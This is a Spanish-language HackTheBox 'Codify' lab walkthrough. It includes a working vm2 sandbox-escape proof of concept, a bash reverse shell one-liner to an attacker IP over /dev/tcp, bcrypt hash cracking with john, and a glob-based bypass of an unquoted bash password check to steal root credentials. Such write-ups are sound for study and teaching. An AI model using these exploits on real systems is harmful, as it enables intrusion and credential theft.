HackTheBox - Codify


Creado
HackTheBox - Codify

Entorno Linux nivel fácil. Nos saldremos del aislamiento que nos interpuso una Sandbox y de bravos ejecutaremos comandos en el sistema :P Crackearemos credenciales y robaremos otras jugando con expansores de bash (:

TL;DR (Spanish writeup)

Laboratorio creado por: kavigihan.

Expandiendo el conocimiento.

Tendremos un sitio web el cual permite ejecutar código JavaScript de forma “segura” mediante una Sandbox, esto usando la librería vm2. A pesar de los esfuerzos de los desarrolladores del sitio, esta librería cuenta con vulnerabilidades para ejecutar comandos en el sistema saltando el propio sandbox. Usándolas podremos obtener una sesión como el usuario svc.

Adentro encontraremos una credencial hasheada para el servicio MySQL, mediante ataques de fuerza bruta descubriremos la contraseña en texto plano, usándola generaremos una terminal como el usuario Joshua.

Este usuario tiene permiso de ejecutar como el usuario root un script de bash, encargado de realizar backups de las bases de datos alojadas en el sistema. En la lógica de este, habrá un if que llama variables sin comillas, usaremos expansores para saltarnos la validación y jugar con los comandos que realizan el backup. Así, robaremos la contraseña del usuario root y tendremos acceso a todo el sistema.

Clasificación de la máquina según la gentesita

Un poco de todo, pero va a tocar temas reales y públicos.

La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?

Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3

No es inusual.

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Movimiento lateral: svc -> joshua.
  5. Escalada de privilegios.

Reconocimiento #

Vamos a usar nmap para ver qué puertos (servicios) tiene expuestos la máquina:

nmap -p- --open -v 10.10.11.239 -oA TCP_initScan_Codify
Parámetro Descripción
-p- Escanea todos los 65535 puertos
–open Devuelve solo los puertos que estén abiertos
-v Permite ver en consola lo que va encontrando
-oA Guarda el output en diferentes formatos, uno de ellos “grepeable”, lo usaremos junto a la función extractPorts de S4vitar para copiar los puertos en la clipboard

El escaneo nos muestra:

Puerto Descripción
22 SSH: Servicio para generar una terminal de forma segura.
80 HTTP: Servicio para interactuar con un servidor web.
3000 Por ahora no lo tenemos claro.

Usando la función extractPorts (referenciada antes) podemos tener rápidamente los puertos en la clipboard, en este caso no es necesario (ya que tenemos pocos puertos), pero si tuviéramos varios puertos evitamos tener que escribirlos uno a uno:

extractPorts TCP_initScan_Codify.gnmap

Ya con los puertos, vamos a seguir pidiéndole favores a nmap, ahora queremos que trate de indicarnos que software está siendo ejecutado en cada servicio yyyy que ejecute unos scripts que tiene por default a ver si encuentra algo curioso o para tener en cuenta:

nmap -sCV -p 22,80,3000 10.10.11.239 -oA TCP_portScan_Codify
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio

Obtenemos:

Puerto Servicio Versión
22 SSH OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80 HTTP Apache httpd 2.4.52
  • Además de que se nos está redirigiendo al dominio codify.htb, ya hablaremos de esto.

Puerto Servicio Versión
3000 HTTP Node.js Express framework
  • Perfecto, el servicio que nos faltaba está ejecutando Node.js. Lindo saberlo.

Ya tenemos algo más de información para trabajar, así que explotemos esto.

Enumeración #

Como vimos, las peticiones hacia el puerto 80 (mediante la IP) están siendo redirigidas al dominio codify.htb, la cosa es que si realizamos una petición contra ese dominio, nuestro sistema no va a entender qué queremos hacer, ya que no conoce ese dominio. Para que se conozcan, debemos jugar con un archivo llamado /etc/hosts:

En él le indicamos que un dominio está relacionado con una IP, así al momento de realizar peticiones, ya sea a la IP o al dominio, el sistema intentara resolver el contenido alojado en ese dominio, contra la IP.

➧ cat /etc/hosts
...
10.10.11.239    codify.htb
...

Y si ahora realizamos las peticiones contra el sitio web, obtenemos respuesta sin errores:

Un sitio web que nos permite testear código/programa escrito en Node.js sin la necesidad de configurar nada ni descargar o hacer cosas raras :O

Nos indica que para llevar a cabo esto de forma segura, usa la tecnología de sandbox, o sea, aislar algo (en este caso la ejecución del código JavaScript) sin afectar los recursos de red o aplicaciones locales. Esto como medida de prevención contra posibles ataques mediante ese código JS.

Además, han agregado algunas limitaciones, esto para asegurar aún más la aplicación:

Si visitamos el editor del código, nos muestra:

Testeando cositas, efectivamente no podemos ejecutar varias cosas o no vemos la respuesta esperada.

Recorriendo el sitio web, llegamos también al apartado /about, en el cual nos cuentan de ellos como empresa y de su editor, esta última parte no interesa.

Nos dice que la tecnología que esta detrás del Sandbox se llama vm2, perfecto, tenemos algo para buscar y aventurarnos…

Explotación #

Si visitamos el sitio oficial de npm (gestor de paquetes de Node.js) donde se aloja esta librería, nos informamos:

Y si profundizamos:

Encontramos varias vulns y PoCs donde ejecutan comandos bypasseando el sandbox :O

La vulnerabilidad nace en el uso de la función Proxy para crear un objeto con contenido malicioso en el sistema.

Pero para lograr esto, se hace uso de la función Function, la cual permite crear nuevas funciones en el mismo momento en que se está ejecutando la aplicación (sin estar definida previamente en el código). O sea, si quieres crear una función mientras el código se está ejecutando, lo puedes hacer y la puedes ejecutar.

Así es como se ayudan las dos funciones para saltarse el aislamiento y ejecutar comandos en el sistema. BRUTAL!

La vuln tiene varios PoC, como este (que también tiene una explicación de como funciona):

Si tomamos el código y lo detallamos, nos indica que si todo va bien y el RCE se cumple, deberíamos obtener hacked como respuesta:

const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("echo hacked").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code)); // -> hacked

Por lo que, vamos a /editor, ejecutamos ese código yyyyyyy:

EPALE, al parecer estamos ejecutando comandos. Pero probemos con id para corroborar:

SI si SIIII, tenemos una ejecución remota de comandos como el usuario svc (: Convirtamos esto en una reverse shell.

Levantamos el puerto donde queremos recibirla (recuerda, vamos a decirle al sistema remoto algo como esto: “oiga mi fai, hágame el fa de reenviarme una shell «bash» a mi servidor. Y vea, pa que no se pierda, mi servidor tiene esta IP y tiene este puerto, muchas gracias, saludos”). Y listones. Yo voy a levantar el puerto 4450:

nc -lvp 4440

Y ahora enviamos como comando malicioso:

bash -c 'bash -i >& /dev/tcp/10.10.14.148/4440 0>&1'

Y habemus entrado ✂️

Si quieres que tu shell sea más linda y completamente funcional (tener historico y podemos movernos entre comandos), realizale un tratamiento a la TTY.


Movimientos laterales: svc -> joshua #

Al ingresar al sistema y listar algunas rutas atrás desde donde obtuvimos la revsh, hay una carpeta llamada contact con contenido que no hemos visto:

Entre los archivos, notamos uno al parecer de base de datos, validando:

svc@codify:/var/www/contact$ file tickets.db 
tickets.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 17, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 17

Efectivamente, un objeto con una base de datos de SQLite, para abrirlo y leerlo correctamente, podemos hacer uso de la herramienta sqlite3:

Como vemos, una de las tablas se llama users, si extraemos su contenido, encontramos al usuario joshua (que también existe en el sistema) con su contraseña hasheada usando el algoritmo Bcrypt (filtra por $2a$ y lo verás :P):

Jmmm ¿y si tomamos ese hash e intentamos que haga match con una cadena de texto a ver si descubrimos la contraseña en texto plano (cracking)?

Guardemos la pass en un archivo y usemos por ejemplo john para realizar la fuerza bruta:

john --wordlist=/usr/share/wordlists/rockyou.txt contact_tickets_joshua.hash

Liiisto, encontramos el resultado de ese hash.

Sabiendo que joshua existe como usuario del sistema, ¿será que le dio pereza asignarse una contraseña distinta para su Shell?

Pos sí, le dio pereza (: Ahora estamos en el sistema como él por perezoso.

Escalada de privilegios #

Revisando los permisos que tenemos en el sistema como otros usuarios, notamos que joshua puede ejecutar como el usuario root el script /opt/scripts/mysql-backup.sh:

Al parecer un backup de la base de datos. Tenemos acceso de lectura contra el objeto, veámoslo:

#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

Vemos que se logea como root en el gestor MySQL, toma la contraseña de un archivo al que no tenemos acceso y la usa para extraer los nombres de las bases de datos no genéricas y para realizar el backup.

Algo que notamos es que al inicio está realizando una validación en la que nos pregunta la contraseña asignada al usuario root en el gestor de base de datos, la compara con la que extrae del archivo y si coincide, procede a realizar todo lo anterior, si no, nos saca del programa.

Así que lo primero es mirar como podemos saltarnos o aprovechar esa validación.

No hay mucho para rompernos la cabeza, solo hay una línea con la que podemos interactuar y su validación:

...
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi
...

Si detallamos hay algo interesante (y lo notarás más si has hecho scripts de bash), en la validación las variables estan siendo llamadas sin comillas, que al principio tú dirás “na, pero eso khe, todo normalito”, la vaina es que eso me puso a dudar y me fui pa la web, buscando y buscando caí acá:

You should put shell variables inside quotation marks to ensure that they are interpreted correctly by the shell. When you use a variable in a shell command or script without quotation marks, the shell will expand the variable, which means it will replace the variable with its value. This can cause problems if the variable contains spaces, special characters, or other characters that the shell interprets in a special way. ~ medium.com / stefan paladuta

Upale, ojito con esto.

Nos indica que pueden existir caracteres que sean interpretados de distinta manera (y no como string, que es lo que se quiere en este caso), ya que la variable al no estar encerrada con comillas (") bash puede tomar su contenido como expansor (que tiene una función de más) a la ejecución actual :o

Para dejar claro lo del expansor es tan sencillo como escribir $variable, esto le diría a bash que intente imprimir el contenido de la variable llamada variable.

Volviendo a la recomendación del artículo, podríamos probar algunos caracteres que bash pueda llegar a interpretar como “expansores”, a ver que:

:O Al enviar el carácter * dentro de [[ ... ]] (que es más poderoso y con más opciones que [ ... ]) la validación es verdadera, ¿pero por qué?:

Al no tener comillas, el carácter es interpretado como un “soy-todo”, o sea, un patrón de coincidencia contra cualquier cadena (no como su habitual uso con archivos (ls *.xml)), ¿locura no? Re bueno saberlo.

Ya sabemos como saltarnos la validación, pero de igual forma con lo único que tenemos interacción es con ese campo, el resto son comandos ya seteados…

Aunque. Si revisamos de nuevo esos comandos, usan la contraseña real para realizar las operaciones, podríamos intentar jugar con pspy para validar como se ejecutan esas líneas y ver si la contraseña es expuesta.

Descargamos el binario, lo subimos a la máquina víctima, lo ejecutamos, abrimos una nueva terminal con las credenciales de joshua y desde ahí volvemos a realizar el bypass, observando en la terminal del pspy:

EPALEEEEEEEEEE! Tenemos la credencial de root contra el gestor de base de datos, ¿pero habrá hecho lo mismo que Joshua?

:P

Hemos terminado la resolución de la máquina (:

Post-Explotación #


Flags 📌

Máquina juguetona, me gustó el tema del sandbox y como unas simples comillas pueden exponer tanto :P

Y bueno, como siempre, a meterle y a seguir dándole duro rompiendo de todo! Nos leemos después, abrazos y gracias por leer <3

Lanz

Lanz

Holap, simplemente quiero compartir contigo mis notas y que quizás, las tomes como apoyo. Este mundo es un camino raro, complicado a veces, pero divertido, diviertete (: (y entiende que estas haciendo :P)

Comments

comments powered by Disqus